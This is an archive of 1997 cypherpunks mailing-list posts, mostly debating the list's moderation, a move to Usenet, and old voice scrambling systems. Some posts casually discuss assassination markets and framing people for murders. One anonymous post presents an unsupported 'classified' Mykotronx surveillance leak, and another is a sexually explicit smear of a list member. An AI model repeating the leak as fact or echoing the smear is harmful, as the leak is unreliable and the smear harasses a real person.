From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:12:27 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <8N3k2D1w165w@bwalk.dm.com>
Message-ID: <32F6EEFC.3706@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Adam Back wrote:
> > > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> > > an aside, it is ironic that John Gilmore was the guy who started the
> > > alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> > An interesting idea.

What's also interesting is Tim May posting after a long "absence",
and in his post he repeats virtually sentence-for-sentence what
a handful of people have been saying here for the past month.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:20:29 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Voting on Moderation [was: Dissolving Choke Points]
In-Reply-To: <199702032118.PAA05476@wire.insync.net>
Message-ID: <32F6F104.24B9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Cordian wrote:
> Peter Hendrickson writes:
> > Moderation has been a failure.  I'm pretty good at filtering and I
> > can sadly report that there is very little signal out there.

> The quality of the Cypherpunks list is determined solely by the
> amount of signal.  The amount of noise is irrelevant.
[snip]
> Now that we have moderation, I can't do this while subscribed to the
> main list, and have to live in eternal fear that I am writing for
> an audience of 20 every time I respond to something on the unedited
> list.  Foo on that.

I wonder how Sandy will take the vote on continuing or abandoning
the moderation experiment?

In most states, one juror out of 12 can kill a conviction.

In a revolution such as U.S. 1776, only a tiny percent of the people
supported the revolution.

Will Sandy go with a majority decision (pure democratic), or allow
the moderation to go away if a significant minority wants to kill it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:10:41 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031742.JAA28108@toad.com>
Message-ID: <199702040027.AAA00276@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



<tmcghan@gill-simpson.com> writes:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> 
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.
> 
> > But by making the _main list_ the censored one, this skewed things
> > considerably.
> 
> > But the clear message by having Sandy censor the
> > main list (the default list, the list name with the main name, the
> > list we all know about, etc.) 
> 
> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.

That was the objectionable part of the moderation experiment to me.

> What's in a name?  Is perception more important ( to you ) than 
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.

There is a lot in a name.  The name `Cypherpunks' has, or had a
reputation.  Tricks like censoring the list are not helping that
reputation.

This wording indicates that the other two lists are to satisfy
purists:

(relevant output from sending message with body `lists' to
majordomo@toad.com)

: cypherpunks         (THE MAIN LIST)  Fermenting ideas on crypto and society 
: cypherpunks-flames  (FLAMES DELETED BY MODERATOR) Ideas on crypto and society
: cypherpunks-unedited (THE UN-MODERATED LIST) Ideas on crypto and society

The naming convention indicates that cypherpunks is the main list, as
does the ordering (moderated first).  The text in the sign up message:

(extracts from output from sending message with body `info
cypherpunks' to majordomo@toad.com)

:	cypherpunks		moderated to suppress spam and flames
:	cypherpunks-unedited	all submissions, just as they arrived
:	cypherpunks-flames	the submissions that didn't pass moderation

Also I note in passing that if I recall correctly this section used to
give Hugh Daniel's email address.  Seems John is managing majordomo
himself now?  Is Hugh's no longer being list manager related to the
moderation decision?

: For other questions, my list management address is not the best place,
: since I don't read it every day.  To reach me otherwise, send mail to
: 
: 	gnu@toad.com

> It may also be worth noting that the current 'status quo' is a 
> transient experiment, with a fairly short time limit.  When JG, 
> Sandy, et al. evaluate the results with an eye to future 
> direction(s), they may well consider an 'inverted default' for the two
> list names (i.e.:  cp / cp-unedited)

It would be nice also if JG, Sandy et al, took some notice of the list
opinions next time.

It really would have been better to create a _new_ moderated list,
rather than take over the existing list address, and subscribers.

Maybe those who initiated the moderation experiment thought they
wouldn't get many people moving over to the moderated list if they had
to go to that effort.

Another alternative would have been to discontinue `cypherpunks' and
start `cypherpunks-edited' and `cypherpunks-unedited' forcing people
to choose.  I wouldn't have liked that either, but it would have been
a better experiment.  (Likely that would have lost many altogether,
who simply wouldn't have bothered to resubscribe at all).

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:29:24 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702030241.UAA25010@manifold.algebra.com>
Message-ID: <32F6F314.6E28@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
[some arguments deleted for lack of time to reply]
> > > Another story: suppose that OKSAS hired me to work for her, but then
> > > our relationships go south and she fires me. Again, her fate is very
> > > unclear, although I would probably spare her life if it were she.

> > If she does it right, with empathy, there is not likely to be a
> > problem.  On the other hand, if she bad-mouths you to prospective
> > employers or customers you want to do business with, you might be
> > inclined to hit her.  This happens a lot when AP is not available.

> ... But would happen more often if it was.

Why, if AP was readily available, would she want to risk being hit
by bad-mouthing you unnecessarily?

> > people who have such money are not going to bump off very many more
> > people than they already do, because:
> > 1. They need the people to make money off of (Mafia rule #4, never
> >    kill someone who owes you money [or is a money source]).

> This is a wrong Mafia rule, they do kill debtors who are in default.

Really?  Then how do they collect their money?  BTW, I heard the rule
from the mouth of a real mob hitman.

> > 2. Rich people have a lot of eyes on them, and it would be easy to
> >    triangulate a series of murders to them, even without hard evidence.
> >    In an AP world, this triangulation/correlation would be enough to
> >    convince people to either shun this killer, or kill him outright.

> When ten people make deals with each other, it becomes hard to
> triangulate. And it is easy, if you know what deals are done, to change
> the result of triangulation: suppose that I know that you borrowed 1
> million from Toto, that my _and_ yours business partner had been
> murdered (by me, but no one knows), and I am afraid that someone will
> triangulate me and implicate me in that murder. I secretly order
> the AP bot to kill Toto, and you get implicated.  Not good.

We all know how people are framed, and we've seen the Hitchcockian
murder scenarios on TV, in movies, etc.  Certainly the CIA et al can
create these scenarios, but what does that have to do with AP as used
by ordinary persons?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 17:10:25 -0800 (PST)
To: pdh@best.com
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702032011.MAA01075@toad.com>
Message-ID: <199702040045.AAA00292@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Peter Hendrickson <pdh@best.com> writes:
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.

Censorship adds a social hierarchy, and this is inevitably resented.

A similar problem existed with ICS (Internet Chess Servers), they
include a MUD like facility where users can discuss chess.  For misc
reasons certain behaviour was frowned on, and a system of control was
added to the software where certain users where given moderator
status, and could kick others off.

The fact that some of the moderators were particularly poor players
helped to annoy others who though outspoken, where good chess players,
and led to the particularly long thread in alt.chess (or whatever
group it was) titled `guppies rule the goldfish bowl' or something.
(A `fish' is a newbie chess player, a guppie being a small fish,...)

Interesting repetition of the social phenomena of resentment of power
in electronic forums (however well intentioned, and for whatever
perceived social good).

> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?

Quite.  For a pedigree of championing free speech, and unpaid efforts
to further freedom, he was high up on the list.  I'd feel happier if
he was joining in with these discussions, rather than getting
interested to the extent to set up moderation, even though not
participating in the discussions.

> [distributed list homing ideas]

sounds good.  But what about USENET groups?  They're distributed, what
feature of your proposed solution is superior to using USENET groups
distribution mechanisms in your opinion?

Several times in the past, a USENET newsgroup alt.cypherpunks was
suggested.  Some people were against it because they felt that it
would attract more noisy posters.

Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
an aside, it is ironic that John Gilmore was the guy who started the
alt.* USENET hierarchy, specifically to facilitate freedom of speech).

> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.

Agree.  Also, the quicker they acknowledge their actions as mistakes,
and correct the results, the less their reputations will suffer.

Perhaps at the end of the trial moderation experiment would be a good
time to change position without loosing face.  (If acknowledging
mistakes bothers them).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:00:13 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: Trigger-Words...Trigger-Fingers
In-Reply-To: <199702021555.HAA25437@toad.com>
Message-ID: <32F6FA51.7D5D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson wrote:
> Cynthia H. Brown wrote:
[snippo]
> Theres not many girls on this list, is there?
[mo' snippo]
> Anyway, my uncle prints out the girl-cypherpunks stuff for the girls
> on my list and they think its real cool and they all want to marry
> technicians so that they can make them work on the computers for them,
> kind of like making them do the computer dishes, you know.
[yet mo' snippo]

I want to get married.  Lots of times.  Are the girls cute?
I don't do hardware, tho, I'm a software guy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:11:54 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.LNX.3.95L01at.970203173304.618A-100000@homebox>
Message-ID: <32F6FD0C.5D98@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Scott V. McGuire wrote:

> (Even within the community, some people are more a part of
> it than others, and nobody is more a part of it then Tim.)

Is this like saying "some of the pigs were more equal than the others"?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 3 Feb 1997 22:18:12 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Dissolving Choke Points
Message-ID: <01IF00D6DQPC9AN1BM@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"roach_s@alph.swosu.edu"  "Sean Roach"  4-FEB-1997 00:47:40.30

>On your idea for fast implementation,  this could be hacked by would-be
>censors.  A message comes into the list, the censor sees that the post is
>from a regular enemy.  The censor then copies the header information onto a
>new message, one containing garbage, or snippets from old posts, reads the
>new post to see if it is acceptable, and if it is, adds a new header,
>probably only the time would be changed, and transmits it out.  If the would
>be censor was the sysop of a machine near the origin of the message, and if
>the censor operated the censorship either by bots, or monitored the feed 24
>hours a day, (not likely), then the actual message would get to few.

	I would suggest that the cure for this problem is to have what is
examined be a cryptographically secure hash instead of (or as well as)
the message ID. The hash should be over the body of the message, and possibly
the sender and Subject line.
	Unless Lance has driven up the prices at Infonex a lot, I'd be willing
to support such a server on an Infonex account. I'd _greatly_ appreciate help
getting the thing started, preferably as a group endeavour (to spread the
load (i.e., keep infonex from being overwhelmed), keep me from temptation,
and make it less likely that a legally troublesome message would go through
an account that I might be blamed for).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:19:32 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: New X-Ray Imager
In-Reply-To: <v02140b01af1c2619c726@[10.0.2.15]>
Message-ID: <32F6FED6.3A5F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:
> New X-ray gun trades privacy for safety
> Reported by Andy C
> Seen in The Nando Times on 13 August 1996
> "I'm incredibly concerned," said John Henry Hingson, a past president of the
> National Association of Criminal Defense Lawyers, meeting here this past
> week. "The entire nation could become a victim of illegal searches and
> seizures and the law is powerless to protect them from these police abuses."
> But in these nervous times following the the crash of TWA Fight 800 and
> bombings at the Olympics, Oklahoma City and the World Trade Center, many
> Americans are now willing to trade some of their privacy and civil liberties
> for greater security.
> A poll last week by the Los Angeles Times found that a majority of people --
> 58 percent -- said they would curtail some civil liberties if it would help
> thwart terrorism. Thirteen percent said it would depend on what rights were
> at stake. The poll didn't ask people to single out any rights.

The L.A. Times quotes this "poll" all the time, and in fact probably
just made it up.  Why do I know that?  Because they ran a "letter"
from a "teacher" in the valley somewhere about a year ago which said
exactly this same thing.  The "teacher" ran a poll of her students
and they agreed to give up the rights without even knowing which
rights they were giving up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 01:23:23 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031455.GAA25476@toad.com>
Message-ID: <32F6FFBF.115@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:50 PM -0500 2/3/97, Michael Froomkin - U.Miami School of Law wrote:
> >(1) I agree with Tim that as a matter of principle, it would be preferable
> >to create a new moderated list, with a similar but distinguishable name,
> >and leave the existing list as it was.  I happen to think less turns on

> This is a point of view many of the most thoughtful commenters seem to
> agree on, isn't it? One would have thought that had Sandy and John really
> been interested in hearing the views of list members, this approach would
> have eventually won out.

Once again, the reason John and Sandy weren't interested was because
the main proponents of this point of view for a long time were me,
Dr. Vulis, and Toto.  Tim and others were either supportive of Sandy
or were silent.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 3 Feb 1997 22:42:03 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Dissolving Choke Points
Message-ID: <01IF016KB5609AN1BM@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 01:26:13.34

>(I'm working on a message re moderation and the list which will better
>explain what I think about that - but I'm not trying to argue, above, that
>we *must* have moderation for a long time - simply that it's too early to
>call it a failure for failing to significantly increase the number of
>useful messages.) 

	I'll be interested in that message. I have problems with the
takeover of the original list name, personally. While it is certainly
John Gilmore's right to do whatever he wants with the mailing list
software/hardware (I believe we've settled that, right?), I'd prefer
for the cypherpunks _name_ not be associated with a moderated/censored
list. (I mean no insult to either Sandy or John in this, BTW... I
simply think that they've gone about this the wrong way. For instance,
if John was getting an email overload for toad.com and was trying
to indirectly reduce the load via reducing responses to flames, there
are other ways to solve the problem - such as the distributed mailing
list idea. I do think that Sandy's filtered list could provide a
valuable service - most of the other filtered lists seem to filter
out a bit too much, judging by the "cc any replies to this message
directly to me, I'm on the [insert name of filtered list]" messages I
see. If the list switches to cypherpunks and cypherpunks-edited, I
might go with cypherpunks-edited (or with some combo of cypherpunks-edited
and cypherpunks-flames, the latter more filtered by procmail). My
objection is mainly due to the principle of the thing.)
	Incidentally, I checked the cyberpass.net services, and it
does list mailing lists - including a 10$ per month charge per
100 subscribers. At that rate, I can afford about 100 subscribers
on a local distributed list, given the 10% discount. (Depending
on how it goes, I might be able to afford more... I haven't looked
at my personal finances in detail recently.)

>I think you misspelled "Usenet". Hope this helps. 

>Seriously, if you want a distributed no-choke-points "flooding" message
>distribution system, you're talking about Usenet. Robust software exists
>for clients and servers, and it's already supported worldwide on many
>operating systems. No need to write more software to graft that
>functionality onto E-mail. If the list is going to turn into Usenet (we've
>already got most of Usenet's better kooks), we might as well just move the
>damn thing over to alt.cypherpunks and be done with it. (Anyone care to
>guess who founded alt.* as a way to route around censorship?)

	I'd point out that we _know_ every list member can get email,
but not that they can get Usenet. I can't conveniently get it, for
instance - I'd have to read it via HTTP and respond via email to
a news-to-mail server. Sure, I can get an account at infonex or
wherever and pick up the news groups there... but I'd prefer not
to be forced to, and I suspect the same is true of many people.

>(Of course, Usenet is a technical success and a spectacular failure,
>content-wise. So opponents of moderation will be forgiven for failing to
>mention this sparkling example of an unmoderated, anything-goes forum for
>discussion.)

	Usenet also has easy crossposting, has been discovered by
just about every spam artist known to humankind, and doesn't have
very good filtering software (IMO, the last time I checked). Limited
propagation, especially for a new alt group, especially for a _controversial_
alt group, is also a problem.
	Sure, Usenet has its advantages. (Under allens@earlham.edu and
allens@yang.earlham.edu, I was the second or third highest poster on it
for a few weeks a few years back. I'm familiar with Usenet.) But it also
has its problems.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Emery" <die@pig.die.com>
Date: Mon, 3 Feb 1997 22:53:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FCPUNX:ecure Phones (fwd)
Message-ID: <9702040652.AA11304@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:
>From die Tue Feb  4 00:30:04 1997
Subject: Re: FCPUNX:ecure Phones
To: eli@gs160.sp.cs.cmu.edu (Eli Brandt)
Date: Tue, 4 Feb 1997 00:30:04 -0500 (EST)
From: "Dave Emery" <die@pig.die.com>
Reply-To: die@die.com
In-Reply-To: <199702040425.UAA08359@blacklodge.c2.net> from "Eli Brandt" at Feb 3, 97 11:24:03 pm
X-Mailer: ELM [version 2.4 PL24alpha3]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1404      

	Don't think I will bore the list with it,

	But a slightly more complex version of this scheme was one of
the major tactical medium security voice scrambling systems used
by the US in the 70's and 80's and even to a slight extent into
the 90's on military radio circuits.   The military version is
called Parkhill and the crypto gear is the KY-65 and KY-75.

	At one time (in the 70's) it was used for at least secret
traffic.  It was downgraded a couple of times since and is now
considered obselete and compromised.  A Parkhill crypto box
can be seen in the NSA museum...

	The NSA version used time inversion (playing voice samples
backwards) and faster shuffling than this one does, and possibly
a more secure key generator.  But it is rumored to have been
broken by more than one opponent, perhaps including drug cartels.

	Its appeal and why it was so extensively used for a while is
that it interfaces to normal voice radio gear at the audio input
and output level rather than requiring different modulations and
complex digital modems integrated into the radio.  It also gives
pretty good speech quality and speaker recognition.

	Its primary replacement is the ANDVT digital voice terminal
which takes advantage of modern DSP technology to implement modems
usable over radio links and vocoders which can produce acceptable
speech at 1200 or 2400 baud.


							Dave Emery
							die@die.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 4 Feb 1997 02:28:46 -0800 (PST)
To: Bill Stewart <stewarts@IX.NETCOM.COM>
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702040426.UAA13731@toad.com>
Message-ID: <3.0.1.32.19970204021403.0071f6f8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:58 PM 2/3/97 -0800, Bill Stewart wrote:
>An advantage of Usenet is the ability to deploy whatever NoCeM is
>called these days as a way to let people avoid spammers.

My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
with the list if it were moved to (or gated with) Usenet, as Usenet has
become for the most part 100+ Mb/day of uselessness.

But my impression is that many moderation opponents would also be opponents
of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
people claim we must have for the list to be viable, e.g.,
uncontrolled/uncontrollable distribution and messaging. So I'm curious about
whether or not the proponents of an open, uncontrolled list really want it to
be *that* open and uncontrolled. In the past, there's been strong opposition
to that. But it's possible that most of the people who had strong feelings
about not wanting to be subjected to the downside of Usenet have already left
the list.

(And if the current opponents of moderation don't want to see the list be
quite that open, I think what we're arguing about here is not "censorship v.
no censorship" but "what degree of censorship do we want? one lump, or two?",
which pretty much eliminates anyone's claim to have a moral high ground from
which to argue.)  

There's really nothing stopping anyone from just setting up a gateway. The
list is already gated one-way to Usenet; it shows up many places as
mail.cypherpunks. What's missing is a gateway running the other direction;
from looking at the headers as messages are received at my ISP (io.com),
toad.com is already in the Path: line, so preventing backfeeding shouldn't be
a problem. (Doh, it's been a few years since I fussed with mail-to-news and
back again, but this isn't rocket science.) 

The good side I see to a move to Usenet is that it lets people use the
comparatively better tools for managing messages - e.g., NoCeM, threading, nn
(whose killfiles will kill by thread, author, regexp, and can be time limited
so you can easily give annoying people a 30-day 'timeout' and see if they're
still a kook later on), AltaVista and DejaNews archiving/searching, and
server architecture that's designed to cope with storing/indexing many
messages.

The down side is that Usenet is more or less a sewer these days, and some of
it's bound to spill over. 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 3 Feb 1997 18:10:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: More Hacking of the Mykotronx Site!
Message-ID: <199702040150.CAA13253@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, d00dz, remember the dumpster diving at Mykotronx facilities in
Torrance? Where they dumped their secret plans for the Clipper chip in the
dumpsters right outside their little building in Torrance? Where guys like
me could find their spreadsheets for budget planning, production run rates,
deals with VLSI Technology, Sandia, and the other NSA  stooges? Remember
how they suddenly started shredding their papers? Well, it's been 3 years,
and apparently the new guys at Rainbow (the parent company) have forgotten
their lesson!

So, here's the latest stuff:

>>>quote

* INTERNAL USE ONLY * COMINT-restricted, limited to M3 classifications
Distribution beyond M3 a national security felony

Mykotronx has agreed to provide to the Estonian government 79.000 MYK-82
processors for its Personnel Surveillance System, as part of the
negotiations to provide Observer Status for Estonia in NATO. Negotiations
continue between Ambassador Aaron and the NATO nations have established
as a minimum that new entrants into the NATO community adhere to the
Unified Cryptography Initiative, initialed by NATO ministers in
Bruxelles, 10-13-96.

Estonia has signified compliance, as noted by their Internal Security
Directorate:

"Kiipe valimistatakse praegu Californias asuvas firmas MYKOTRONX Ltd. ja
ta hind kõigub 10 kuni 30 dollarini olenevalt konkreetsest
       tüübist ning ta on võimline krüpteerima/deshifreerima 15-20 MB/s."

Spysrus agrees to integrate into Personel Surveillance System (PSS)
modules for Internal Security Service (ISS) use.for over 79,000 of
Mykotronx's new Capstone encryption processor (MYK-82). The devices will
be used to build part of the Estonian government's order of Fortezza
Cryptographic Cards for the PSS awarded November 1996. Initial delivery
of the new cryptographic processor will begin June 1997.

The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
Inc., is the first of a series of security products to be developed as
part of an alliance with the NSA, targeting both Government and
commercial citizen monitoring markets.


--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Mon, 3 Feb 1997 21:57:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PICS] Credentials without Identity--Race Bits
Message-ID: <19970204054806.26936.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Deflated Volcano K[rust] Of The Moment does NOT eat pussy. He
only eats asshole if it's got a big dick up in front. Whoever
calls him bisexual is a fucking liar. He likes to suck cocks in
front of an audience.

       _  O     O  _
        \-|-\_/-|-/  Deflated Volcano K[rust] Of The Moment
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Mon, 3 Feb 1997 22:56:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: what's in a name?
Message-ID: <19970204065014.28319.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Without answering any of the points raised by Wei Dai, let
me address the subject line.

I have been a long time reader of and occasional contributor to
the cypherpunks list. Since it is high volume, I prefer not to have
it show up in my mailbox, but read it from either nntp.hks.net or
infinity.nus.sg/cypherpunks. With the recent change in status of the
list, what I get at those two places is the edited list. The same
would apply to other sublists subscribed to cypherpunks@toad.com too.
If hks and infinity started archiving the unedited list, this wouldn't
bother me so much.

Other than that, I am saddened, as much as a Tim is enraged, that
a supposedly libertarian and anarchistic group of people has decided
that censorship is the right solution to their problems.

Btw, what is with nntp.hks.net? Seems to have been down for couple
of days.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 4 Feb 1997 00:24:39 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <855044578.918617.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> This is Tim's first error of fact.  I point it out not to insult
> him, but because it seriously affects much of the rest of his
> analysis.  We are conducting an experiment.  It will last one 
> month.  After that, it's over if list members want it to be over.
> If, on the other hand, moderation is seen by the list members as
> beneficial to their use and enjoyment of the list, the current
> form of moderation--or some variation will continue.

How will you allow list members to decide? - Here presumably we 
have a self proclaimed anarchist in favour of direct democracy. 
And if the subscribers can call off this "experiment" it seems rather 
out of place that they did not institute it in the first place.

> > With no false modesty I tried awfully hard to compose substantive
> > essays on crypto-political topics, often more than one per day.
> 
> I would hope that Tim will return to this practice irrespective
> of whether the list remains moderated or returns to its previous
> policies.  More on this, below.

You genuinely expect a thoughtful writer and intelligent author of 
posts to allow you to approve them or otherwise for general release? 
 
> > (Others did too, but they seem to be tapering off as well, leaving the list
> > to be dominated by something called a "Toto," the "O.J. was framed!"
> > ravings of Dale Thorn, the love letters between Vulis and someone name
> > Nurdane Oksas,...
> 
> Two points:  Since Tim largely agrees with those in opposition to
> moderation, and because of the extraordinary nature of Tim's post,
> I did not send it to the "flames" list.  It was a judgment call.

Why? - I saw nothing whatsoever in Tim`s post that would make it a 
"judgement call" for any objective moderator^H^H^H^H^H^H^H^H^Hcensor.
The real reason it was a judegement call was because it was critical 
of Gilmore and yourself, in addition Tim`s points where too subtle 
and deep for you to respond to without resorting to sophistry.
The reason on the other hand you did choose to post it to the 
censored list was because you realised this and could not get away 
with junking it to the flames list without incurring criticism.
  
> The problems Tim describes, did not arise with moderation.  
> Indeed, they were the imputus for the moderation.

Sophistry once again. I shall not even bother to explore in more 
detail this issue as any intelligent reader can, even at face value, 
see this to be a falacious argument.

> > Second, the list was consumed with
> > flames about this, many from Vulis, and many from others.
> 
> It was consumed with flames before.  Now, at least, the vast
> majority of folks on the list don't have to read them, nor jump
> through any hoops to implement some sort of dynamic filtering
> half-measure.

Three questions:

1. How do you see filtering to be a "half measure"
2. What hoops? - if you count implementing a simple filtering 
measure to be "jumping through hoops" how do you consider that 
readers of the list do not have to "jump through hoops" to subscribe 
to the uncensored list.
3. What makes you think that your subjective and evidently self serving method 
of moderation is any better than keyword filtering.
 
 
> What didn't work was "local filtering" which has no feed-back 
> loop to engender comity.  This might not work either, but I see
> no evidence that it has made things worse.  Remember, there are a
> hand-full of subscribers to the Flames list, 20-30 on the 
> Unedited list and *2000* or so on the Moderated list.  Sure some
> of that may be due to laziness, but it would be cavalier in the
> extreme to claim that such an overwhelming acceptance of 
> moderation is merely an artifact of inertia.

Cavalier? - I`ll bet you anything you like if you had set up a new 
list for the censored articles and left cypherpunks@toad.com as an 
uncensored list you would have seen the same results, that 2000 or so 
would have remained where they were instead of trying to "unimbibe", 
and a hardcore of 20 to 30 subscribers would have consciously taken 
the decision to move to the censored list.

As we seem to be in "experiment" mood on the cypherpunks list at the 
moment I challenge you now to re-configure the list as stated above. 
The we shall see whose viewpoint is "cavalier"
 
> But to make things perfectly clear one more time, ANYONE WHO 
> WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
> "CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

See above argument, the flock stay together. In addition other list 
members are lazy, stupid, ignorant etc. And cannot/will not subscribe 
to the uncensored list.

> But let's apply Tim's above definition for the sake of argument.
> Am I, thereby, a censor?  Well I am examining "other material" 
> and I am making judgments with regard to whether or not it is
> "objectionable," unfortunately for Tim's argument, I am neither
> "removing" nor "supressing" anything.  Anybody can read anything
> that gets posted to Cypherpunks--in two places.  I am sorting,
> but even my sorting can be completely avoided.

Waffle. There is a suprising profundity of waffle in this post 
